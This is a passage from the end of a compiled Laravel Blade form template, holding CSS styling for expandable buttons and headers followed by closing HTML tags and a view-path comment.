                    line-height: 28px;
                    letter-spacing: -.1px;
                    color: #fff;
                    background-color: #ff6400
                }

                .button-expand {
                    position: absolute;
                    bottom: 0;
                    left: 50%;
                    transform: translate(-50%, 100%);
                    z-index: 1
                }

                .button-expand__pointer {
                    cursor: pointer
                }

                .button-expand__alert {
                    pointer-events: none;
                    transition: opacity .25s ease-in-out
                }

                .button-expand__arrow {
                    pointer-events: none;
                    transition: transform .25s ease-in-out, opacity .25s ease-in-out;
                    transform-origin: center
                }

                .button-expand--minimize .button-expand__arrow,
                .button-expand--collapse .button-expand__alert,
                .button-expand--expand .button-expand__alert {
                    opacity: 0
                }

                .button-expand--expand .button-expand__arrow {
                    transform: rotate(180deg)
                }

                .header-collapse {
                    display: flex;
                    align-items: center;
                    flex-wrap: wrap;
                    column-gap: 4px;
                    padding-left: 8px;
                    font-size: 14px;
                    line-height: 20px;
                    letter-spacing: -.1px;
                    color: #fff
                }

                .header-expand {
                    display: flex;
                    align-items: center;
                    flex-wrap: wrap;
                    column-gap: 4px;
                    padding-left: 20px;
                    font-size: 14px;
                    font-weight: 500;
                    line-height: 20px;
                    letter-spacing: -.1px;
                    color: #fff
                }
            </style>
        </template></div>

        </template></div>

</body>

</html><?php /**PATH /home/u6610954/finviplaty.info/resources/views/forms/form.blade.php ENDPATH**/ ?>